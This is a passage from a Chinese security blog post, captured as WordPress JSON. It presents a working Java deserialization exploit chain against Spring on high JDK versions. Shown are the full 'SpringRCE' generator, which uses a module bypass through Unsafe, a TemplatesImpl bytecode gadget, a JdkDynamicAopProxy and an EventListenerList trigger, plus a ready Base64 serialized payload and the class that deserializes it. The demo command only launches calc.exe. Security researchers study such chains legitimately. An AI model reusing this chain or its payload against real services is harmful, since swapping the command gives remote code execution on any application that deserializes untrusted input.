com.fasterxml.jackson.databind.node.POJONode;<br>import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;<br>import sun.misc.Unsafe;<br>import java.lang.reflect.Method;<br>import javassist.ClassPool;<br>import javassist.CtClass;<br>import javassist.CtMethod;<br>import org.springframework.aop.framework.AdvisedSupport;<br>import javax.xml.transform.Templates;<br>import java.lang.reflect.*;<br>\u200b<br>\/\/ --add-opens=java.base\/sun.nio.ch=ALL-UNNAMED --add-opens=java.base\/java.lang=ALL-UNNAMED --add-opens=java.base\/java.io=ALL-UNNAMED --add-opens=jdk.unsupported\/sun.misc=ALL-UNNAMED --add-opens java.xml\/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED --add-opens=java.base\/java.lang.reflect=ALL-UNNAMED<br>public class SpringRCE {<br> &nbsp;  public static void main(String[] args) throws Exception{<br> &nbsp; &nbsp; &nbsp;  \/\/ \u5220\u9664writeReplace\u4fdd\u8bc1\u6b63\u5e38\u53cd\u5e8f\u5217\u5316<br> &nbsp; &nbsp; &nbsp;  try {<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  ClassPool pool = ClassPool.getDefault();<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  CtClass jsonNode = pool.get(\"com.fasterxml.jackson.databind.node.BaseJsonNode\");<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  CtMethod writeReplace = jsonNode.getDeclaredMethod(\"writeReplace\");<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  jsonNode.removeMethod(writeReplace);<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  ClassLoader classLoader = Thread.currentThread().getContextClassLoader();<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  jsonNode.toClass(classLoader, null);<br> &nbsp; &nbsp; &nbsp;  } catch (Exception e) {<br> &nbsp; &nbsp; &nbsp;  }<br>\u200b<br> &nbsp; &nbsp; &nbsp;  \/\/ \u628a\u6a21\u5757\u5f3a\u884c\u4fee\u6539\uff0c\u5207\u6362\u6210\u548c\u76ee\u6807\u7c7b\u4e00\u6837\u7684 Module \u5bf9\u8c61<br> &nbsp; &nbsp; &nbsp;  ArrayList&lt;Class&gt; classes = new ArrayList&lt;&gt;();<br> &nbsp; &nbsp; &nbsp;  classes.add(TemplatesImpl.class);<br> &nbsp; &nbsp; &nbsp;  classes.add(POJONode.class);<br> &nbsp; &nbsp; &nbsp;  classes.add(EventListenerList.class);<br> &nbsp; &nbsp; &nbsp;  classes.add(SpringRCE.class);<br> &nbsp; &nbsp; &nbsp;  classes.add(Field.class);<br> &nbsp; &nbsp; &nbsp;  classes.add(Method.class);<br> &nbsp; &nbsp; &nbsp;  new SpringRCE().bypassModule(classes);<br>\u200b<br> &nbsp; &nbsp; &nbsp;  \/\/ ===== EXP \u6784\u9020 =====<br> &nbsp; &nbsp; &nbsp;  byte[] code1 = getTemplateCode();<br> &nbsp; &nbsp; &nbsp;  byte[] code2 = ClassPool.getDefault().makeClass(\"fushuling\").toBytecode();<br>\u200b<br> &nbsp; &nbsp; &nbsp;  TemplatesImpl templates = new TemplatesImpl();<br> &nbsp; &nbsp; &nbsp;  setFieldValue(templates, \"_name\", \"xxx\");<br> &nbsp; &nbsp; &nbsp;  setFieldValue(templates, \"_bytecodes\", new byte[][]{code1, code2});<br> &nbsp; &nbsp; &nbsp;  setFieldValue(templates,\"_transletIndex\",0);<br>\u200b<br> &nbsp; &nbsp; &nbsp;  POJONode node = new POJONode(makeTemplatesImplAopProxy(templates));<br>\u200b<br> &nbsp; &nbsp; &nbsp;  EventListenerList eventListenerList = getEventListenerList(node);<br>\u200b<br> &nbsp; &nbsp; &nbsp;  serialize(eventListenerList, true);<br> &nbsp;  }<br>\u200b<br> &nbsp;  public static byte[] serialize(Object obj, boolean flag) throws Exception {<br> &nbsp; &nbsp; &nbsp;  ByteArrayOutputStream baos = new ByteArrayOutputStream();<br> &nbsp; &nbsp; &nbsp;  ObjectOutputStream oos = new ObjectOutputStream(baos);<br> &nbsp; &nbsp; &nbsp;  oos.writeObject(obj);<br> &nbsp; &nbsp; &nbsp;  oos.close();<br> &nbsp; &nbsp; &nbsp;  if (flag) System.out.println(Base64.getEncoder().encodeToString(baos.toByteArray()));<br> &nbsp; &nbsp; &nbsp;  return baos.toByteArray();<br> &nbsp;  }<br>\u200b<br> &nbsp;  public static Object makeTemplatesImplAopProxy(TemplatesImpl templates) throws Exception {<br> &nbsp; &nbsp; &nbsp;  AdvisedSupport advisedSupport = new AdvisedSupport();<br> &nbsp; &nbsp; &nbsp;  advisedSupport.setTarget(templates);<br> &nbsp; &nbsp; &nbsp;  Constructor constructor = Class.forName(\"org.springframework.aop.framework.JdkDynamicAopProxy\").getConstructor(AdvisedSupport.class);<br> &nbsp; &nbsp; &nbsp;  constructor.setAccessible(true);<br> &nbsp; &nbsp; &nbsp;  InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport);<br> &nbsp; &nbsp; &nbsp;  Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class}, handler);<br> &nbsp; &nbsp; &nbsp;  return proxy;<br> &nbsp;  }<br>\u200b<br> &nbsp;  public static byte[] getTemplateCode() throws Exception {<br> &nbsp; &nbsp; &nbsp;  ClassPool pool = ClassPool.getDefault();<br> &nbsp; &nbsp; &nbsp;  CtClass template = pool.makeClass(\"MyTemplate\");<br> &nbsp; &nbsp; &nbsp;  String block = \"Runtime.getRuntime().exec(\\\"calc.exe\\\");\";<br> &nbsp; &nbsp; &nbsp;  template.makeClassInitializer().insertBefore(block);<br> &nbsp; &nbsp; &nbsp;  return template.toBytecode();<br> &nbsp;  }<br>\u200b<br> &nbsp;  public static EventListenerList getEventListenerList(Object obj) throws Exception{<br> &nbsp; &nbsp; &nbsp;  EventListenerList list = new EventListenerList();<br> &nbsp; &nbsp; &nbsp;  UndoManager undomanager = new UndoManager();<br>\u200b<br> &nbsp; &nbsp; &nbsp;  \/\/\u53d6\u51faUndoManager\u7c7b\u7684\u7236\u7c7bCompoundEdit\u7c7b\u7684edits\u5c5e\u6027\u91cc\u7684vector\u5bf9\u8c61\uff0c\u5e76\u628a\u9700\u8981\u89e6\u53d1toString\u7684\u7c7badd\u8fdb\u53bb\u3002<br> &nbsp; &nbsp; &nbsp;  Vector vector = (Vector) getFieldValue(undomanager, \"edits\");<br> &nbsp; &nbsp; &nbsp;  vector.add(obj);<br>\u200b<br> &nbsp; &nbsp; &nbsp;  setFieldValue(list, \"listenerList\", new Object[]{Class.class, undomanager});<br> &nbsp; &nbsp; &nbsp;  return list;<br> &nbsp;  }<br>\u200b<br> &nbsp;  private static Method getMethod(Class clazz, String methodName, Class[]<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  params) {<br> &nbsp; &nbsp; &nbsp;  Method method = null;<br> &nbsp; &nbsp; &nbsp;  while (clazz!=null){<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  try {<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  method = clazz.getDeclaredMethod(methodName,params);<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  break;<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  }catch (NoSuchMethodException e){<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  clazz = clazz.getSuperclass();<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  }<br> &nbsp; &nbsp; &nbsp;  }<br> &nbsp; &nbsp; &nbsp;  return method;<br> &nbsp;  }<br> &nbsp;  private static Unsafe getUnsafe() {<br> &nbsp; &nbsp; &nbsp;  Unsafe unsafe = null;<br> &nbsp; &nbsp; &nbsp;  try {<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  Field field = Unsafe.class.getDeclaredField(\"theUnsafe\");<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  field.setAccessible(true);<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  unsafe = (Unsafe) field.get(null);<br> &nbsp; &nbsp; &nbsp;  } catch (Exception e) {<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  throw new AssertionError(e);<br> &nbsp; &nbsp; &nbsp;  }<br> &nbsp; &nbsp; &nbsp;  return unsafe;<br> &nbsp;  }<br> &nbsp;  public void bypassModule(ArrayList&lt;Class&gt; classes){<br> &nbsp; &nbsp; &nbsp;  try {<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  Unsafe unsafe = getUnsafe();<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  Class currentClass = this.getClass();<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  try {<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  Method getModuleMethod = getMethod(Class.class, \"getModule\", new<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  Class[0]);<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  if (getModuleMethod != null) {<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  for (Class aClass : classes) {<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  Object targetModule = getModuleMethod.invoke(aClass, new<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  Object[]{});<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  unsafe.getAndSetObject(currentClass,<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  unsafe.objectFieldOffset(Class.class.getDeclaredField(\"module\")), targetModule);<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  }<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  }<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  }catch (Exception e) {<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  }<br> &nbsp; &nbsp; &nbsp;  }catch (Exception e){<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  e.printStackTrace();<br> &nbsp; &nbsp; &nbsp;  }<br> &nbsp;  }<br>\u200b<br> &nbsp;  public static Object getFieldValue(Object obj, String fieldName) throws Exception {<br> &nbsp; &nbsp; &nbsp;  Field field = null;<br> &nbsp; &nbsp; &nbsp;  Class c = obj.getClass();<br> &nbsp; &nbsp; &nbsp;  for (int i = 0; i &lt; 5; i++) {<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  try {<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  field = c.getDeclaredField(fieldName);<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  } catch (NoSuchFieldException e) {<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  c = c.getSuperclass();<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  }<br> &nbsp; &nbsp; &nbsp;  }<br> &nbsp; &nbsp; &nbsp;  field.setAccessible(true);<br> &nbsp; &nbsp; &nbsp;  return field.get(obj);<br> &nbsp;  }<br>\u200b<br> &nbsp;  public static void setFieldValue(Object obj, String field, Object val) throws Exception {<br> &nbsp; &nbsp; &nbsp;  Field dField = obj.getClass().getDeclaredField(field);<br> &nbsp; &nbsp; &nbsp;  dField.setAccessible(true);<br> &nbsp; &nbsp; &nbsp;  dField.set(obj, val);<br> &nbsp;  }<br>}<\/pre>\n\n\n\n<p>\u751f\u6210\u7684\u65f6\u5019\u9700\u8981\u5f00\u4e00\u4e2avm\u7684\u914d\u7f6e\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">--add-opens=java.base\/sun.nio.ch=ALL-UNNAMED --add-opens=java.base\/java.lang=ALL-UNNAMED --add-opens=java.base\/java.io=ALL-UNNAMED --add-opens=jdk.unsupported\/sun.misc=ALL-UNNAMED --add-opens java.xml\/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED --add-opens=java.base\/java.lang.reflect=ALL-UNNAMED<\/pre>\n\n\n\n<figure class=\"wp-block-image\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025\/08\/QQ20250821-215025-21-7.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025\/08\/QQ20250821-215025-21-7.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"img\"\/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025\/08\/QQ20250821-215106-21-8.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025\/08\/QQ20250821-215106-21-8.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"img\"\/><\/div><\/figure>\n\n\n\n<p>\u7136\u540e\u8bfb\u53d6\u6570\u636e\u8fdb\u884c\u53cd\u5e8f\u5217\u5316\uff0c\u8fd9\u91cc\u5c31\u4e0d\u9700\u8981\u5f00\u914d\u7f6e\u4e86\uff0c\u5168\u90e8\u9ed8\u8ba4\u5373\u53ef\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">import java.io.ByteArrayInputStream;<br>import java.io.ObjectInputStream;<br>import java.util.Base64;<br>\u200b<br>public class Read {<br> &nbsp;  public static void unserialize(byte[] exp) throws Exception {<br> &nbsp; &nbsp; &nbsp;  ByteArrayInputStream bais = new ByteArrayInputStream(exp);<br> &nbsp; &nbsp; &nbsp;  ObjectInputStream ois = new ObjectInputStream(bais);<br> &nbsp; &nbsp; &nbsp;  ois.readObject();<br> &nbsp;  }<br> &nbsp;  public static void main(String[] args) throws Exception {<br> &nbsp; &nbsp; &nbsp;  String exp = \"rO0ABXNyACNqYXZheC5zd2luZy5ldmVudC5FdmVudExpc3RlbmVyTGlzdJFIzC1z3w7eAwAAeHB0AA9qYXZhLmxhbmcuQ2xhc3NzcgAcamF2YXguc3dpbmcudW5kby5VbmRvTWFuYWdlcvF+nx0IKsIdAgACSQAOaW5kZXhPZk5leHRBZGRJAAVsaW1pdHhyAB1qYXZheC5zd2luZy51bmRvLkNvbXBvdW5kRWRpdKWeULpT25X9AgACWgAKaW5Qcm9ncmVzc0wABWVkaXRzdAASTGphdmEvdXRpbC9WZWN0b3I7eHIAJWphdmF4LnN3aW5nLnVuZG8uQWJzdHJhY3RVbmRvYWJsZUVkaXQIDRuO7QILEAIAAloABWFsaXZlWgALaGFzQmVlbkRvbmV4cAEBAXNyABBqYXZhLnV0aWwuVmVjdG9y2Zd9W4A7rwEDAANJABFjYXBhY2l0eUluY3JlbWVudEkADGVsZW1lbnRDb3VudFsAC2VsZW1lbnREYXRhdAATW0xqYXZhL2xhbmcvT2JqZWN0O3hwAAAAAAAAAAF1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAABkc3IALGNvbS5mYXN0ZXJ4bWwuamFja3Nvbi5kYXRhYmluZC5ub2RlLlBPSk9Ob2RlAAAAAAAAAAICAAFMAAZfdmFsdWV0ABJMamF2YS9sYW5nL09iamVjdDt4cgAtY29tLmZhc3RlcnhtbC5qYWNrc29uLmRhdGFiaW5kLm5vZGUuVmFsdWVOb2RlAAAAAAAAAAECAAB4cgAwY29tLmZhc3RlcnhtbC5qYWNrc29uLmRhdGFiaW5kLm5vZGUuQmFzZUpzb25Ob2RlAAAAAAAAAAECAAB4cHN9AAAAAQAdamF2YXgueG1sLnRyYW5zZm9ybS5UZW1wbGF0ZXN4cgAXamF2YS5sYW5nLnJlZmxlY3QuUHJveHnhJ9ogzBBDywIAAUwAAWh0ACVMamF2YS9sYW5nL3JlZmxlY3QvSW52b2NhdGlvbkhhbmRsZXI7eHBzcgA0b3JnLnNwcmluZ2ZyYW1ld29yay5hb3AuZnJhbWV3b3JrLkpka0R5bmFtaWNBb3BQcm94eUzEtHEO65b8AgABTAAHYWR2aXNlZHQAMkxvcmcvc3ByaW5nZnJhbWV3b3JrL2FvcC9mcmFtZXdvcmsvQWR2aXNlZFN1cHBvcnQ7eHBzcgAwb3JnLnNwcmluZ2ZyYW1ld29yay5hb3AuZnJhbWV3b3JrLkFkdmlzZWRTdXBwb3J0JMuKPPqkxXUCAAZaAAtwcmVGaWx0ZXJlZEwAE2Fkdmlzb3JDaGFpbkZhY3Rvcnl0ADdMb3JnL3NwcmluZ2ZyYW1ld29yay9hb3AvZnJhbWV3b3JrL0Fkdmlzb3JDaGFpbkZhY3Rvcnk7TAAKYWR2aXNvcktleXQAEExqYXZhL3V0aWwvTGlzdDtMAAhhZHZpc29yc3EAfgAbTAAKaW50ZXJmYWNlc3EAfgAbTAAMdGFyZ2V0U291cmNldAAmTG9yZy9zcHJpbmdmcmFtZXdvcmsvYW9wL1RhcmdldFNvdXJjZTt4cgAtb3JnLnNwcmluZ2ZyYW1ld29yay5hb3AuZnJhbWV3b3JrLlByb3h5Q29uZmlni0vz5qfg928CAAVaAAtleHBvc2VQcm94eVoABmZyb3plbloABm9wYXF1ZVoACG9wdGltaXplWgAQcHJveHlUYXJnZXRDbGFzc3hwAAAAAAAAc3IAPG9yZy5zcHJpbmdmcmFtZXdvcmsuYW9wLmZyYW1ld29yay5EZWZhdWx0QWR2aXNvckNoYWluRmFjdG9yeQPJ50kFqahMAgAAeHBzcgATamF2YS51dGlsLkFycmF5TGlzdHiB0h2Zx2GdAwABSQAEc2l6ZXhwAAAAAHcEAAAAAHhxAH4AInNxAH4AIQAAAAB3BAAAAAB4c3IANG9yZy5zcHJpbmdmcmFtZXdvcmsuYW9wLnRhcmdldC5TaW5nbGV0b25UYXJnZXRTb3VyY2V9VW71x\/j6ugIAAUwABnRhcmdldHEAfgAOeHBzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3QAEltMamF2YS9sYW5nL0NsYXNzO0wABV9uYW1ldAASTGphdmEvbGFuZy9TdHJpbmc7TAARX291dHB1dFByb3BlcnRpZXN0ABZMamF2YS91dGlsL1Byb3BlcnRpZXM7eHAAAAAAAAAAAHVyAANbW0JL\/RkVZ2fbNwIAAHhwAAAAAnVyAAJbQqzzF\/gGCFTgAgAAeHAAAAFiyv66vgAAADcAGQEACk15VGVtcGxhdGUHAAEBABBqYXZhL2xhbmcvT2JqZWN0BwADAQAKU291cmNlRmlsZQEAD015VGVtcGxhdGUuamF2YQEACDxjbGluaXQ+AQADKClWAQAEQ29kZQEAEWphdmEvbGFuZy9SdW50aW1lBwAKAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwwADAANCgALAA4BAAhjYWxjLmV4ZQgAEAEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsMABIAEwoACwAUAQAGPGluaXQ+DAAWAAgKAAQAFwAhAAIABAAAAAAAAgAIAAcACAABAAkAAAAWAAIAAAAAAAq4AA8SEbYAFVexAAAAAAABABYACAABAAkAAAARAAEAAQAAAAUqtwAYsQAAAAAAAQAFAAAAAgAGdXEAfgAuAAAAosr+ur4AAAA3AAwBAAlmdXNodWxpbmcHAAEBABBqYXZhL2xhbmcvT2JqZWN0BwADAQAKU291cmNlRmlsZQEADmZ1c2h1bGluZy5qYXZhAQAGPGluaXQ+AQADKClWDAAHAAgKAAQACQEABENvZGUAIQACAAQAAAAAAAEAAQAHAAgAAQALAAAAEQABAAEAAAAFKrcACrEAAAAAAAEABQAAAAIABnB0AAN4eHhwdwEAeHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHgAAAAAAAAAZHB4\";<br> &nbsp; &nbsp; &nbsp;  unserialize(Base64.getDecoder().decode(exp));<br> &nbsp;  }<br>}<br>\u200b<\/pre>\n\n\n\n<figure class=\"wp-block-image\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025\/08\/QQ20250821-215307-21-9.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025\/08\/QQ20250821-215307-21-9.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"img\"\/><\/div><\/figure>\n\n\n\n<h1 class=\"wp-block-heading\">\u603b\u7ed3<\/h1>\n\n\n\n<p>\u611f\u89c9\u5927\u90e8\u5206\u7684\u70b9\u7f51\u4e0a\u65e9\u5c31\u6709\u6587\u7ae0\u63d0\u5230\u8fc7\u4e86\uff0c\u53ef\u80fd\u5c31\u662f\u7f3a\u4e00\u4e2a\u5e08\u5085\u7ed9\u4ed6\u4eec\u4e32\u8d77\u6765\u5427\ud83d\ude02<\/p>\n\n\n\n<p><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u524d\u8a00 \u6628\u665a\u4e0ajsjcw\u5e08\u5085\u5728\u300aJava\u5b89\u5168share\u300b\u661f\u7403\u63d0\u5230\u7684\u9ad8\u7248\u672cJDK\u4e0b\u7684spring\u539f\u751f\u94fe\u53ef\u8c13\u4e00\u77f3\u6fc0\u8d77 [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-3993","post","type-post","status-publish","format-standard","hentry","category-1"],"_links":{"self":[{"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/posts\/3993","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/comments?post=3993"}],"version-history":[{"count":8,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/posts\/3993\/revisions"}],"predecessor-version":[{"id":4007,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/posts\/3993\/revisions\/4007"}],"wp:attachment":[{"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/media?parent=3993"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/categories?post=3993"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/tags?post=3993"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}